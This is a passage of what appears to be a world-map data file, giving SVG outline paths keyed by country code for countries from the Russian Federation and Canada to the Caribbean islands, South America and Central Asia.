69l1.01-2.53l1.51,0.51l1,1.01l4.52-1.01l4.52-13.17l0.5-16.46l-5.78-13.17l-7.29-8.86l-3.52,0.51v2.79l-8.54-3.29l3.27-7.09l2.76-18.74l11.56-3.54l5.53-3.54h6.03L805.86,96l1.51,2.53l5.28-5.57l3.02,0.25l-0.5-3.29l-4.78-1.01l3.27-11.9L817.97,72.93L817.97,72.93z","name":"Russian Federation"},"us":{"path":"M69.17,53.35l3.46,6.47l2.22-0.5v-2.24L69.17,53.35L69.17,53.35M49.66,110.26l-0.17,3.01l2.16-0.5v-1.34L49.66,110.26L49.66,110.26M46.34,111.6l-4.32,2.18l0.67,2.34l1.66-1.34l3.32-1.51L46.34,111.6L46.34,111.6M28.39,114.44l-2.99-0.67l-0.5,1.34l0.33,2.51L28.39,114.44L28.39,114.44M22.07,114.28l-2.83-1.17l-1,1.84l1.83,1.84L22.07,114.28L22.07,114.28M12.27,111.6l-1.33-1.84l-1.33,0.5v2.51l1.5,1L12.27,111.6L12.27,111.6M1.47,99.71l1.66,1.17l-0.5,1.34H1.47V99.71L1.47,99.71M10,248.7l-0.14,2.33l2.04,1.37l1.22-1.09L10,248.7L10,248.7M15.29,252.13l-1.9,1.37l1.63,2.05l1.9-1.64L15.29,252.13L15.29,252.13M19.1,255.41l-1.63,2.19l0.54,1.37l2.31-1.09L19.1,255.41L19.1,255.41M21.81,259.65l-0.95,5.47l0.95,2.05l3.12-0.96l1.63-2.74l-3.4-3.15L21.81,259.65L21.81,259.65M271.05,281.06l-2.64-0.89l-2.12,1.33l1.06,1.24l3.61,0.53L271.05,281.06L271.05,281.06M93.11,44.89l-8.39,1.99l1.73,9.45l9.13,2.49l0.49,1.99L82.5,65.04l-7.65,12.68l2.71,13.43L82,94.13l3.46-3.23l0.99,1.99l-4.2,4.97l-16.29,7.46l-10.37,2.49l-0.25,3.73l23.94-6.96l9.87-2.74l9.13-11.19l10.12-6.71l-5.18,8.7l5.68,0.75l9.63-4.23l1.73,6.96l6.66,1.49l6.91,6.71l0.49,4.97l-0.99,1.24l1.23,4.72h1.73l0.25-7.96h1.97l0.49,19.64l4.94-4.23l-3.46-20.39h-5.18l-5.68-7.21l27.89-47.25l-27.64-21.63l-30.85,5.97l-1.23,9.45l6.66,3.98l-2.47,6.47L93.11,44.89L93.11,44.89M148.76,158.34l-1,4.02l-3.49-2.26h-1.74l-1,4.27l-12.21,27.36l3.24,23.84l3.99,2.01l0.75,6.53h8.22l7.97,6.02l15.69,1.51l1.74,8.03l2.49,1.76l3.49-3.51l2.74,1.25l2.49,11.54l4.23,2.76l3.49-6.53l10.71-7.78l6.97,3.26l5.98,0.5l0.25-3.76l12.45,0.25l2.49,2.76l0.5,6.27l-1.49,3.51l1.74,6.02h3.74l3.74-5.77l-1.49-2.76l-1.49-6.02l2.24-6.78l10.21-8.78l7.72-2.26l-1-7.28l10.71-11.55l10.71-1.76L272.8,199l10.46-6.02v-8.03l-1-0.5l-3.74,1.25l-0.5,4.92l-12.43,0.15l-9.74,6.47l-15.29,5l-2.44-2.99l6.94-10.5l-3.43-3.27l-2.33-4.44l-4.83-3.88l-5.25-0.44l-9.92-6.77L148.76,158.34L148.76,158.34z","name":"United States of America"},"mu":{"path":"M613.01,398.99l-1.52,1.99l0.3,2.15l3.2-2.61L613.01,398.99L613.01,398.99z","name":"Mauritius"},"re":{"path":"M607.38,402.37l-2.28,0.15l-0.15,1.99l1.52,0.31l2.28-1.07L607.38,402.37L607.38,402.37z","name":"Reunion"},"mg":{"path":"M592.3,372.92l-2.13,5.06l-3.65,6.44l-6.39,0.46l-2.74,3.22l0.46,9.82l-3.96,4.6l0.46,7.82l3.35,3.83l3.96-0.46l3.96-2.92l-0.91-4.6l9.13-15.8l-1.83-1.99l1.83-3.83l1.98,0.61l0.61-1.53l-1.83-7.82l-1.07-3.22L592.3,372.92L592.3,372.92z","name":"Madagascar"},"km":{"path":"M577.69,371.23l0.46,1.53l1.98,0.31l0.76-1.99L577.69,371.23L577.69,371.23M580.58,374.3l0.76,1.69h1.22l0.61-2.15L580.58,374.3L580.58,374.3z","name":"Comoros"},"sc":{"path":"M602.35,358.34l-0.61,1.23l1.67,1.38l1.22-1.38L602.35,358.34L602.35,358.34M610.88,349.14l-1.83,1.23l1.37,2.15h1.83L610.88,349.14L610.88,349.14M611.64,354.51l-1.22,1.38l0.91,1.38l1.67,0.31l0.15-2.92L611.64,354.51L611.64,354.51z","name":"Seychelles"},"mv":{"path":"M656.4,320.76l0.3,2.61l1.67,0.61l0.3-2.3L656.4,320.76L656.4,320.76M658.53,326.28l-0.15,3.22l1.22,0.61l1.07-2.15L658.53,326.28L658.53,326.28M658.84,332.57l-1.07,1.07l1.22,1.07l1.52-1.07L658.84,332.57L658.84,332.57z","name":"Maldives"},"pt":{"path":"M372.64,217.02l-1.36,1.37l2.44,1.37l0.27-1.91L372.64,217.02L372.64,217.02M379.97,216.2l-1.63,1.09l1.36,1.09l2.17-0.55L379.97,216.2L379.97,216.2M381.05,220.03l-0.81,2.19l1.08,1.37l1.36-1.09L381.05,220.03L381.05,220.03M387.56,224.4l-0.54,1.37l0.81,0.82l2.17-1.37L387.56,224.4L387.56,224.4M408.18,236.42l-1.08,1.37l1.08,1.37l1.63-0.82L408.18,236.42L408.18,236.42M430.93,211.24l-0.62,8.65l-1.77,1.6l0.18,0.98l1.24,2.05l-0.8,2.5l1.33,0.45l3.1-0.36l-0.18-2.5l2.03-11.59l-0.44-1.6L430.93,211.24L430.93,211.24z","name":"Portugal"},"es":{"path":"M415.62,253.73l-1.75,1.01l0.81,0.82L415.62,253.73L415.62,253.73M409.54,253.92l-2.17,0.55l1.08,1.64h1.63L409.54,253.92L409.54,253.92M404.38,252.28l-1.36,1.37l1.9,1.64l1.08-2.46L404.38,252.28L404.38,252.28M448.36,205h-12.74l-2.57-1.16l-1.24,0.09l-1.5,3.12l0.53,3.21l4.87,0.45l0.62,2.05l-2.12,11.95l0.09,2.14l3.45,1.87l3.98,0.27l7.96-1.96l3.89-4.9l0.09-4.99l6.9-6.24l0.35-2.76l-6.28-0.09L448.36,205L448.36,205M461.1,217.21l-1.59,0.54l0.35,1.43h2.3l0.97-1.07L461.1,217.21L461.1,217.21z","name":"Spain"},"cv":{"path":"M387.56,290.54l-1.9,1.09l1.36,1.09l1.63-0.82L387.56,290.54L387.56,290.54M392.23,292.74l-1.24,1.1l0.88,1.63l2.12-0.95L392.23,292.74L392.23,292.74M389.52,295.83l-1.59,0.95l1.71,2.29l1.35-0.71L389.52,295.83L389.52,295.83z","name":"Cape Verde"},"pf":{"path":"M27.25,402.68l-1.9-0.14l-0.14,1.78l1.49,0.96l1.77-1.09L27.25,402.68L27.25,402.68M33.77,404.6l-2.72,1.78l2.04,2.46l1.77-0.41l0.95-1.23L33.77,404.6L33.77,404.6z","name":"French Polynesia"},"kn":{"path":"M276.6,283.37l-1.5,0.62l0.53,1.33l1.76-1.15l-0.35-0.36L276.6,283.37L276.6,283.37z","name":"Saint Kitts and Nevis"},"ag":{"path":"M279.07,284.88l-0.88,1.87l1.06,1.42l1.32-1.15L279.07,284.88L279.07,284.88z","name":"Antigua and Barbuda"},"dm":{"path":"M282.07,290.03l-1.06,0.98l0.79,1.6l1.5-0.44L282.07,290.03L282.07,290.03z","name":"Dominica"},"lc":{"path":"M281.98,294.03l-0.71,1.51l1.15,1.24l1.5-0.8L281.98,294.03L281.98,294.03z","name":"Saint Lucia"},"bb":{"path":"M282.07,297.85l-1.23,0.89l0.97,1.78l1.59-0.89L282.07,297.85L282.07,297.85z","name":"Barbados"},"gd":{"path":"M280.57,301.31l-1.15,1.15l0.44,0.71h1.41l0.44-1.16L280.57,301.31L280.57,301.31z","name":"Grenada"},"tt":{"path":"M282.24,304.78l-1.06,0.98l-1.15,0.18v1.42l2.12,1.95l0.88-1.42l0.53-1.6l-0.18-1.33L282.24,304.78L282.24,304.78z","name":"Trinidad and Tobago"},"do":{"path":"M263.11,280.44l-5.29-3.46l-2.5-0.85l-0.84,6l0.88,1.69l1.15-1.33l3.35-0.89l2.91,0.62L263.11,280.44L263.11,280.44z","name":"Dominican Republic"},"ht":{"path":"M250.86,275.38l3.44,0.36l-0.41,4.22l-0.34,2.22l-4.01-0.22l-0.71,1.07l-1.23-0.09l-0.44-2.31l4.23-0.35l-0.26-2.4l-1.94-0.8L250.86,275.38L250.86,275.38z","name":"Haiti"},"fk":{"path":"M307.95,508.18l-2.63-0.29l-2.62,1.76l1.9,2.06L307.95,508.18L307.95,508.18M310.57,506.86l-0.87,2.79l-2.48,2.2l0.15,0.73l4.23-1.62l1.75-2.2L310.57,506.86L310.57,506.86z","name":"Falkland Islands"},"is":{"path":"M406.36,117.31l-1.96-1.11l-2.64,1.67l-2.27,2.1l0.06,1.17l2.94,0.37l-0.18,2.1l-1.04,1.05l0.25,0.68l2.94,0.19v3.4l4.23,0.74l2.51,1.42l2.82,0.12l4.84-2.41l3.74-4.94l0.06-3.34l-2.27-1.92l-1.9-1.61l-0.86,0.62l-1.29,1.67l-1.47-0.19l-1.47-1.61l-1.9,0.18l-2.76,2.29l-1.66,1.79l-0.92-0.8l-0.06-1.98l0.92-0.62L406.36,117.31L406.36,117.31z","name":"Iceland"},"no":{"path":"M488.26,53.96l-1.65-1.66l-3.66,1.78h-6.72L475.17,58l3.77,3.33l1.65-0.24l2.36-4.04l2,1.43l-1.42,2.85l-0.71,4.16l1.65,2.61l3.54-5.94l4.6-5.59l-1.77-1.54L488.26,53.96L488.26,53.96M490.26,46.83l-2.95,2.73l1.77,2.73h3.18l1.3,1.78l3.89,2.02l4.48-2.61l3.07-2.61l-1.06-2.14l-3.07-1.78l-2.24,2.02l-1.53-1.9l-1.18,0.12l-1.53,3.33l-2.24-2.26l-0.24-1.54L490.26,46.83L490.26,46.83M496.98,59.07l-2.36,2.14l-2,1.54l0.94,1.66l1.89,0.59l3.07-1.43l1.42-1.78l-1.3-2.14L496.98,59.07L496.98,59.07M515.46,102.14l2.02-1.48L517.3,99l-1.28-0.74l0.18-2.03h1.1v-1.11l-4.77-1.29l-7.15,0.74l-0.73,3.14L503,97.16l-1.1-1.85l-3.49,0.18L498.04,99l-1.65,0.74l-0.92-1.85l-7.34,5.91l1.47,1.66l-2.75,1.29l-6.24,12.38l-2.2,1.48l0.18,1.11l2.2,1.11l-0.55,2.4l-3.67-0.19l-1.1-1.29l-2.38,2.77l-1.47,1.11l-0.37,2.59l-1.28,0.74l-3.3,0.74l-1.65,5.18l1.1,8.5l1.28,3.88l1.47,1.48l3.3-0.18l4.77-4.62l1.83-3.14l0.55,4.62l3.12-5.54l0.18-15.53l2.54-1.6l0.76-8.57l7.7-11.09l3.67-1.29l1.65-2.03l5.5,1.29l2.75,1.66l0.92-4.62l4.59-2.77L515.46,102.14L515.46,102.14z","name":"Norway"},"lk":{"path":"M680.54,308.05l0.25,2.72l0.25,1.98l-1.47,0.25l0.74,4.45l2.21,1.24l3.43-1.98l-0.98-4.69l0.25-1.73l-3.19-2.96L680.54,308.05L680.54,308.05z","name":"Sri Lanka"},"cu":{"path":"M220.85,266.92v1.27l5.32,0.1l2.51-1.46l0.39,1.07l5.22,1.27l4.64,4.19l-1.06,1.46l0.19,1.66l3.87,0.97l3.87-1.75l1.74-1.75l-2.51-1.27l-12.95-7.6l-4.54-0.49L220.85,266.92L220.85,266.92z","name":"Cuba"},"bs":{"path":"M239.61,259.13l-1.26-0.39l-0.1,2.43l1.55,1.56l1.06-1.56L239.61,259.13L239.61,259.13M242.12,262.93l-1.74,0.97l1.64,2.34l0.87-1.17L242.12,262.93L242.12,262.93M247.73,264.68l-1.84-0.1l0.19,1.17l1.35,1.95l1.16-1.27L247.73,264.68L247.73,264.68M246.86,262.35l-3-1.27l-0.58-3.02l1.16-0.49l1.16,2.34l1.16,0.88L246.86,262.35L246.86,262.35M243.96,256.21l-1.55-0.39l-0.29-1.95l-1.64-0.58l1.06-1.07l1.93,0.68l1.45,0.88L243.96,256.21L243.96,256.21z","name":"Bahamas"},"jm":{"path":"M238.93,279.59l-3.48,0.88v0.97l2.03,1.17h2.13l1.35-1.56L238.93,279.59L238.93,279.59z","name":"Jamaica"},"ec":{"path":"M230.2,335.85l-4.73,2.94l-0.34,4.36l-0.95,1.43l2.98,2.86l-1.29,1.41l0.3,3.6l5.33,1.27l8.07-9.55l-0.02-3.33l-3.87-0.25L230.2,335.85L230.2,335.85z","name":"Ecuador"},"ca":{"path":"M203.73,35.89l0.22,4.02l-7.98,8.27l2,6.7l5.76-1.56l3.33-4.92l8.42-3.13l6.87-0.45l-5.32-5.81l-2.66,2.01l-2-0.67l-1.11-2.46l-2.44-2.46L203.73,35.89L203.73,35.89M214.15,24.05l-1.77,3.13l8.65,3.13l3.1-4.69l1.33,3.13h2.22l4.21-4.69l-5.1-1.34l-2-1.56l-2.66,2.68L214.15,24.05L214.15,24.05M229.23,30.31l-6.87,2.9v2.23l8.87,3.35l-2,2.23l1.33,2.9l5.54-2.46h4.66l2.22,3.57l3.77-3.8l-0.89-3.58l-3.1,1.12l-0.44-4.47l1.55-2.68h-1.55l-2.44,1.56l-1.11,0.89l0.67,3.13l-1.77,1.34l-2.66-0.22l-0.67-4.02L229.23,30.31L229.23,30.31M238.32,23.38l-0.67,2.23l4.21,2.01l3.1-1.79l-0.22-1.34L238.32,23.38L238.32,23.38M241.64,19.58l-3.1,1.12l0.22,1.56l6.87-0.45l-0.22-1.56L241.64,19.58L241.64,19.58M256.5,23.38l-0.44,1.56l-1.11,1.56v2.23l4.21-0.67l4.43,3.8h1.55v-3.8l-4.43-4.92L256.5,23.38L256.5,23.38M267.81,27.85l1.77,2.01l-1.55,2.68l1.11,2.9l4.88-2.68v-2.01l-2.88-3.35L267.81,27.85L267.81,27.85M274.24,22.71l0.22,3.57h5.99l1.55,1.34l-0.22,1.56l-5.32,0.67l3.77,5.14l5.1,0.89l7.09-3.13l-10.2-15.42l-3.1,2.01l0.22,2.68l-3.55-1.34L274.24,22.71L274.24,22.71M222.58,47.96l-8.42,2.23l-4.88,4.25l0.44,4.69l8.87,2.68l-2,4.47l-6.43-4.02l-1.77,3.35l4.21,2.9l-0.22,4.69l6.43,1.79l7.76-0.45l1.33-2.46l5.76,6.48l3.99-1.34l0.67-4.47l2.88,2.01l0.44-4.47l-3.55-2.23l0.22-14.07l-3.1-2.46L231.89,56L222.58,47.96L222.58,47.96M249.63,57.79l-2.88-1.34l-1.55,2.01l3.1,4.92l0.22,4.69l6.65-4.02v-5.81l2.44-2.46l-2.44-1.79h-3.99L249.63,57.79L249.63,57.79M263.82,55.78l-4.66,3.8l1.11,4.69h2.88l1.33-2.46l2,2.01l2-0.22l5.32-4.47L263.82,55.78L263.82,55.78M263.37,48.4l-1.11,2.23l4.88,1.79l1.33-2.01L263.37,48.4L263.37,48.4M260.49,39.91l-4.88,0.67l-2.88,2.68l5.32,0.22l-1.55,4.02l1.11,1.79l1.55-0.22l3.77-6.03L260.49,39.91L260.49,39.91M268.92,38.35l-2.66,0.89l0.44,3.57l4.43,2.9l0.22,2.23l-1.33,1.34l0.67,4.47l17.07,5.58l4.66,1.56l4.66-4.02l-5.54-4.47l-5.1,1.34l-7.09-0.67l-2.66-2.68l-0.67-7.37l-4.43-2.23L268.92,38.35L268.92,38.35M282.88,61.59L278,61.14l-5.76,2.23l-3.1,4.24l0.89,11.62l9.53,0.45l9.09,4.47l6.43,7.37l4.88-0.22l-1.33,6.92l-4.43,7.37l-4.88,2.23l-3.55-0.67l-1.77-1.56l-2.66,3.57l1.11,3.57l3.77,0.22l4.66-2.23l3.99,10.28l9.98,6.48l6.87-8.71l-5.76-9.38l3.33-3.8l4.66,7.82l8.42-7.37l-1.55-3.35l-5.76,1.79l-3.99-10.95l3.77-6.25l-7.54-8.04l-4.21,2.9l-3.99-8.71l-8.42,1.12l-2.22-10.5l-6.87,4.69l-0.67,5.81h-3.77l0.44-5.14L282.88,61.59L282.88,61.59M292.86,65.61l-1.77,1.79l1.55,2.46l7.32,0.89l-4.66-4.92L292.86,65.61L292.86,65.61M285.77,40.36v2.01l-4.88,1.12l1.33,2.23l5.54,2.23l6.21,0.67l4.43,3.13l4.43-2.46l-3.1-3.13h3.99l2.44-2.68l5.99-0.89v-1.34l-3.33-2.23l0.44-2.46l9.31,1.56l13.75-5.36l-5.1-1.56l1.33-1.79h10.64l1.77-1.79l-21.51-7.6l-5.1-1.79l-5.54,4.02l-6.21-5.14l-3.33-0.22l-0.67,4.25l-4.21-3.8l-4.88,1.56l0.89,2.46l7.32,1.56l-0.44,3.57l3.99,2.46l9.76-2.46l0.22,3.35l-7.98,3.8l-4.88-3.8l-4.43,0.45l4.43,6.26l-2.22,1.12l-3.33-2.9l-2.44,1.56l2.22,4.24h3.77l-0.89,4.02l-3.1-0.45l-3.99-4.25L285.77,40.36L285.77,40.36M266.01,101.85l-4.23,5.32l-0.26,5.86l3.7-2.13h4.49l3.17,2.93l2.91-2.4L266.01,101.85L266.01,101.85M317.52,171.05l-10.57,10.12l1.06,2.4l12.94,4.79l1.85-3.19l-1.06-5.32l-4.23,0.53l-2.38-2.66l3.96-3.99L317.52,171.05L317.52,171.05M158.22,48.66l1.99,3.01l1,4.02l4.98,1.25l3.49-3.76l2.99,1.51l8.47,0.75l5.98-2.51l1,8.28h3.49V57.7l3.49,0.25l8.72,10.29l5.73,3.51l-2.99,4.77l1.25,1.25L219,80.03l0.25,5.02l2.99,0.5l0.75-7.53l4.73-1.25l3.49,5.27l7.47,3.51l3.74,0.75l2.49-3.01l0.25-4.77l4.48-2.76l1.49,4.02l-3.99,7.03l0.5,3.51l2.24-3.51l4.48-4.02l0.25-5.27l-2.49-4.02l0.75-3.26l5.98-3.01l2.74,2.01l0.5,17.57l4.23-3.76l2.49,1.51l-3.49,6.02l4.48,1l6.48-10.04l5.48,5.77l-2.24,10.29l-5.48,3.01l-5.23-2.51l-9.46,2.01l1,3.26l-2.49,4.02l-7.72,1.76l-8.72,6.78l-7.72,10.29l-1,3.26l5.23,2.01l1.99,5.02l7.22,7.28l11.46,5.02l-2.49,11.54l-0.25,3.26l2.99,2.01l3.99-5.27l0.5-10.04l6.23-0.25l2.99-5.77l0.5-8.78l7.97-15.56l9.96,3.51l5.23,7.28l-2.24,7.28l3.99,2.26l9.71-6.53l2.74,17.82l8.97,10.79l0.25,5.52l-9.96,2.51l-4.73,5.02l-9.96-2.26l-4.98-0.25l-8.72,6.78l5.23-1.25l6.48-1.25l1.25,1.51l-1.74,5.52l0.25,5.02l2.99,2.01l2.99-0.75l1.5-2.26h1.99l-3.24,6.02l-6.23,0.25l-2.74,4.02h-3.49l-1-3.01l4.98-5.02l-5.98,2.01l-0.27-8.53l-1.72-1l-5.23,2.26l-0.5,4.27h-11.96l-10.21,7.03l-13.7,4.52l-1.49-2.01l6.9-10.3l-3.92-3.77l-2.49-4.78l-5.07-3.87l-5.44-0.45l-9.75-6.83l-70.71-11.62l-1.17-4.79l-6.48-6.02v-5.02l1-4.52l-0.5-2.51l-2.49-2.51l-0.5-4.02l6.48-4.52l-3.99-21.58l-5.48-0.25l-4.98-6.53L158.22,48.66L158.22,48.66M133.83,128.41l-1.7,3.26l0.59,2.31l1.11,0.69l-0.26,0.94l-1.19,0.34l0.34,3.43l1.28,1.29l1.02-1.11l-1.28-3.34l0.76-2.66l1.87-2.49l-1.36-2.31L133.83,128.41L133.83,128.41M139.45,147.95l-1.53,0.6l2.81,3.26l0.68,3.86l2.81,3l2.38-0.43v-3.94l-2.89-1.8L139.45,147.95L139.45,147.95z","name":"Canada"},"gt":{"path":"M194.88,291.52l5.93,4.34l5.98-7.43l-1.02-1.54l-2.04-0.07v-4.35l-1.53-0.93l-4.63,1.38l1.77,4.08L194.88,291.52L194.88,291.52z","name":"Guatemala"},"hn":{"path":"M207.55,288.78l9.24-0.35l2.74,3.26l-1.71-0.39l-3.29,0.14l-4.3,4.04l-1.84,4.09l-1.21-0.64l-0.01-4.48l-2.66-1.78L207.55,288.78L207.55,288.78z","name":"Honduras"},"sv":{"path":"M201.65,296.27l4.7,2.34l-0.07-3.71l-2.41-1.47L201.65,296.27L201.65,296.27z","name":"El Salvador"},"ni":{"path":"M217.74,292.11l2.19,0.44l0.07,4.49l-2.55,7.28l-6.87-0.68l-1.53-3.51l2.04-4.26l3.87-3.6L217.74,292.11L217.74,292.11z","name":"Nicaragua"},"cr":{"path":"M217.38,304.98l1.39,2.72l1.13,1.5l-1.52,4.51l-2.9-2.04l-4.74-4.34v-2.87L217.38,304.98L217.38,304.98z","name":"Costa Rica"},"pa":{"path":"M220.59,309.61l-1.46,4.56l4.82,1.25l2.99,0.59l0.51-3.53l3.21-1.62l2.85,1.47l1.12,1.79l1.36-0.16l1.07-3.25l-3.56-1.47l-2.7-1.47l-2.7,1.84l-3.21,1.62l-3.28-1.32L220.59,309.61L220.59,309.61z","name":"Panama"},"co":{"path":"M253.73,299.78l-2.06-0.21l-13.62,11.23l-1.44,3.95l-1.86,0.21l0.83,8.73l-4.75,11.65l5.16,4.37l6.61,0.42l4.54,6.66l6.6,0.21l-0.21,4.99H256l2.68-9.15l-2.48-3.12l0.62-5.82l5.16-0.42l-0.62-13.52l-11.56-3.74l-2.68-7.28L253.73,299.78L253.73,299.78z","name":"Colombia"},"ve":{"path":"M250.46,305.92l0.44,2.59l3.25,1.03l0.74-4.77l3.43-3.55l3.43,4.02l7.89,2.15l6.68-1.4l4.55,5.61l3.43,2.15l-3.76,5.73l1.26,4.34l-2.15,2.66l-2.23,1.87l-4.83-2.43l-1.11,1.12v3.46l3.53,1.68l-2.6,2.81l-2.6,2.81l-3.43-0.28l-3.45-3.79l-0.73-14.26l-11.78-4.02l-2.14-6.27L250.46,305.92L250.46,305.92z","name":"Venezuela"},"gy":{"path":"M285.05,314.13l7.22,6.54l-2.87,3.32l-0.23,1.97l3.77,3.89l-0.09,3.74l-6.56,2.5l-3.93-5.31l0.84-6.38l-1.68-4.75L285.05,314.13L285.05,314.13z","name":"Guyana"},"sr":{"path":"M293.13,321.14l2.04,1.87l3.16-1.96l2.88,0.09l-0.37,1.12l-1.21,2.52l-0.19,6.27l-5.75,2.34l0.28-4.02l-3.71-3.46l0.19-1.78L293.13,321.14L293.13,321.14z","name":"Suriname"},"gf":{"path":"M302.13,321.8l5.85,3.65l-3.06,6.08l-1.11,1.4l-3.25-1.87l0.09-6.55L302.13,321.8L302.13,321.8z","name":"French Guiana"},"pe":{"path":"M225.03,349.52l-1.94,1.96l0.13,3.13l16.94,30.88l17.59,11.34l2.72-4.56l0.65-10.03l-1.42-6.25l-4.79-8.08l-2.85,0.91l-1.29,1.43l-5.69-6.52l1.42-7.69l6.6-4.3l-0.52-4.04l-6.72-0.26l-3.49-5.86l-1.94-0.65l0.13,3.52l-8.66,10.29l-6.47-1.56L225.03,349.52L225.03,349.52z","name":"Peru"},"bo":{"path":"M258.71,372.79l8.23-3.59l2.72,0.26l1.81,7.56l12.54,4.17l2.07,6.39l5.17,0.65l2.2,5.47l-1.55,4.95l-8.41,0.65l-3.1,7.95l-6.6-0.13l-2.07-0.39l-3.81,3.7l-1.88-0.18l-6.47-14.99l1.79-2.68l0.63-10.6l-1.6-6.31L258.71,372.79L258.71,372.79z","name":"Bolivia"},"py":{"path":"M291.76,399.51l2.2,2.4l-0.26,5.08l6.34-0.39l4.79,6.13l-0.39,5.47l-3.1,4.69l-6.34,0.26l-0.26-2.61l1.81-4.3l-6.21-3.91h-5.17l-3.88-4.17l2.82-8.06L291.76,399.51L291.76,399.51z","name":"Paraguay"},"uy":{"path":"M300.36,431.93l-2.05,2.19l0.85,11.78l6.44,1.87l8.19-8.21L300.36,431.93L300.36,431.93z","name":"Uruguay"},"ar":{"path":"M305.47,418.2l1.94,1.82l-7.37,10.95l-2.59,2.87l0.9,12.51l5.69,6.91l-4.78,8.34l-3.62,1.56h-4.14l1.16,6.51l-6.47,2.22l1.55,5.47l-3.88,12.38l4.79,3.91l-2.59,6.38l-4.4,6.91l2.33,4.82l-5.69,0.91l-4.66-5.73l-0.78-17.85l-7.24-30.32l2.19-10.6l-4.66-13.55l3.1-17.59l2.85-3.39l-0.7-2.57l3.66-3.34l8.16,0.56l4.56,4.87l5.27,0.09l5.4,3.3l-1.59,3.72l0.38,3.76l7.65-0.36L305.47,418.2L305.47,418.2M288.92,518.79l0.26,5.73l4.4-0.39l3.75-2.48l-6.34-1.3L288.92,518.79L288.92,518.79z","name":"Argentina"},"cl":{"path":"M285.04,514.1l-4.27,9.38l7.37,0.78l0.13-6.25L285.04,514.1L285.04,514.1M283.59,512.63l-3.21,3.55l-0.39,4.17l-6.21-3.52l-6.6-9.51l-1.94-3.39l2.72-3.52l-0.26-4.43l-3.1-1.3l-2.46-1.82l0.52-2.48l3.23-0.91l0.65-14.33l-5.04-2.87l-3.29-74.59l0.85-1.48l6.44,14.85l2.06,0.04l0.67,2.37l-2.74,3.32l-3.15,17.87l4.48,13.76l-2.07,10.42l7.3,30.64l0.77,17.92l5.23,6.05L283.59,512.63L283.59,512.63M262.28,475.14l-1.29,1.95l0.65,3.39l1.29,0.13l0.65-4.3L262.28,475.14L262.28,475.14z","name":"Chile"},"br":{"path":"M314.24,438.85l6.25-12.02l0.23-10.1l11.66-7.52h6.53l5.13-8.69l0.93-16.68l-2.1-4.46l12.36-11.28l0.47-12.45l-16.79-8.22l-20.28-6.34l-9.56-0.94l2.57-5.4l-0.7-8.22l-2.09-0.69l-3.09,6.14l-1.62,2.03l-4.16-1.84l-13.99,4.93l-4.66-5.87l0.75-6.13l-4.4,4.48l-4.86-2.62l-0.49,0.69l0.01,2.13l4.19,2.25l-6.29,6.63l-3.97-0.04l-4.02-4.09l-4.55,0.14l-0.56,4.86l2.61,3.17l-3.08,9.87l-3.6,0.28l-5.73,3.62l-1.4,7.11l4.97,5.32l0.91-1.03l3.49-0.94l2.98,5.02l8.53-3.66l3.31,0.19l2.28,8.07l12.17,3.86l2.1,6.44l5.18,0.62l2.47,6.15l-1.67,5.47l2.18,2.86l-0.32,4.26l5.84-0.55l5.35,6.76l-0.42,4.75l3.17,2.68l-7.6,11.51L314.24,438.85L314.24,438.85z","name":"Brazil"},"bz":{"path":"M204.56,282.4l-0.05,3.65h0.84l2.86-5.34h-1.94L204.56,282.4L204.56,282.4z","name":"Belize"},"mn":{"path":"M673.8,170.17l5.82-7.72l6.99,3.23l4.75,1.27l5.82-5.34l-3.95-2.91l2.6-3.67l7.76,2.74l2.69,4.41l4.86,0.13l2.54-1.89l5.23-0.21l1.14,1.94l8.69,0.44l5.5-5.61l7.61,0.8l-0.44,7.64l3.33,0.76l4.09-1.86l4.33,2.14l-0.1,1.08l-3.14,0.09l-3.27,6.86l-2.54,0.25l-9.88,12.91l-10.09,4.45l-6.31,0.49l-5.24-3.38l-6.7,3.58l-6.6-2.05l-1.87-4.79l-12.5-0.88l-6.4-10.85l-3.11-0.2L673.8,170.17L673.8,170.17z","name":"Mongolia"},"kp":{"path":"M778.28,194.27l1.84,0.77l0.56,6.44l3.65,0.21l3.44-4.03l-1.19-1.06l0.14-4.32l3.16-3.82l-1.61-2.9l1.05-1.2l0.58-3l-1.83-0.83l-1.56,0.79l-1.93,5.86l-3.12-0.27l-3.61,4.26L778.28,194.27L778.28,194.27z","name":"North Korea"},"kr":{"path":"M788.34,198.2l6.18,5.04l1.05,4.88l-0.21,2.62l-3.02,3.4l-2.6,0.14l-2.95-6.37l-1.12-3.04l1.19-0.92l-0.28-1.27l-1.47-0.66L788.34,198.2L788.34,198.2z","name":"South Korea"},"kz":{"path":"M576.69,188.62l4.1-1.75l4.58-0.16l0.32,7h-2.68l-2.05,3.34l2.68,4.45l3.95,2.23l0.36,2.55l1.45-0.48l1.34-1.59l2.21,0.48l1.11,2.23h2.84v-2.86l-1.74-5.09l-0.79-4.13l5.05-2.23l6.79,1.11l4.26,4.29l9.63-0.95l5.37,7.63l6.31,0.32l1.74-2.86l2.21-0.48l0.32-3.18l3.31-0.16l1.74,2.07l1.74-4.13l14.99,2.07l2.52-3.34l-4.26-5.25l5.68-12.4l4.58,0.32l3.16-7.63l-6.31-0.64l-3.63-3.5l-10,1.16l-12.88-12.45l-4.54,4.03l-13.77-6.25l-16.89,8.27l-0.47,5.88l3.95,4.61l-7.7,4.35l-9.99-0.22l-2.09-3.07l-7.83-0.43l-7.42,4.77l-0.16,6.52L576.69,188.62L576.69,188.62z","name":"Kazakhstan"},"tm":{"path":"M593.85,207.59l-0.62,2.63h-4.15v3.56l4.46,2.94l-1.38,4.03v1.86l1.85,0.31l2.46-3.25l5.54-1.24l11.84,4.49l0.15,3.25l6.61,0.62l7.38-7.75l-0.92-2.48l-4.92-1.08l-13.84-8.99l-0.62-3.25h-5.23l-2.31,4.34h-2.31L593.85,207.59L593.85,207.59z","name":"Turkmenistan"},"uz":{"path":"M628.92,219.06l3.08,0.16v-5.27l-2.92-1.7l4.92-6.2h2l2,2.33l5.23-2.01l-7.23-2.48l-0.28-1.5l-1.72,0.42l-1.69,2.94l-7.29-0.24l-5.35-7.57l-9.4,0.93l-4.48-4.44l-6.2-1.05l-4.5,1.83l2.61,8.68l0.03,2.92l1.9,0.04l2.33-4.44l6.2,0.08l0.92,3.41l13.29,8.82l5.14,1.18L628.92,219.06L628.92,219.06z","name":"Uzbekistan"},"tj":{"path":"M630.19,211.84l4.11-5.1h1.55l0.54,1.14l-1.9,1.38v1.14l1.25,0.9l6.01,0.36l1.96-0.84l0.89,0.18l0.6,1.92l3.57,0.36l1.79,3.78l-0.54,1.14l-0.71,0.06l-0.71-1.44l-1.55-0.12l-2.68,0.36l-0.18,2.52l-2.68-0.18l0.12-3.18l-1.96-1.92l-2.98,2.46l0.06,1